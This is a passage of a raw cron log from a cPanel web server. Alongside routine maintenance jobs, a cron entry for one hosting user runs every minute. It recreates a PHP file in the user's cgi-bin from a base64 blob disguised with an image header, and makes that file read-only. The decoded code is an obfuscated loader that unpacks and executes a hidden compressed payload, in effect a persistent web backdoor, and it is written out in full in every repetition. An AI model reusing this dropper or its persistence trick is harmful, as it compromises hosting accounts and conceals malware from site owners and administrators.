qwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:28:01 server CROND[15550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:28:01 server CROND[15551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:28:01 server CROND[15552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:29:01 server CROND[15922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:29:01 server CROND[15923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:29:01 server CROND[15924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:30:01 server CROND[16294]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:30:01 server CROND[16298]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 15:30:01 server CROND[16296]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 15:30:01 server CROND[16301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:30:01 server CROND[16300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:30:01 server CROND[16302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:30:01 server CROND[16297]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 15:30:01 server CROND[16299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:31:01 server CROND[17105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:31:01 server CROND[17106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:31:01 server CROND[17107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:32:01 server CROND[17574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:32:01 server CROND[17575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:32:01 server CROND[17576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:33:01 server CROND[17947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:33:01 server CROND[17948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:33:01 server CROND[17949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:34:01 server CROND[18315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:34:01 server CROND[18316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:34:01 server CROND[18317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:35:01 server CROND[18689]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:35:01 server CROND[18690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:35:01 server CROND[18693]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 15:35:01 server CROND[18694]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:35:01 server CROND[18697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:35:01 server CROND[18701]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 15:35:01 server CROND[18702]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 15:35:01 server CROND[18704]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 15:35:01 server CROND[18703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:36:01 server CROND[19537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:36:01 server CROND[19538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:36:01 server CROND[19539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:37:01 server CROND[19907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:37:01 server CROND[19908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:37:01 server CROND[19909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:38:01 server CROND[20373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:38:01 server CROND[20374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:38:01 server CROND[20375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:39:01 server CROND[20754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:39:01 server CROND[20755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:39:01 server CROND[20756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:39:01 server CROND[20757]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 15:40:01 server CROND[21160]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
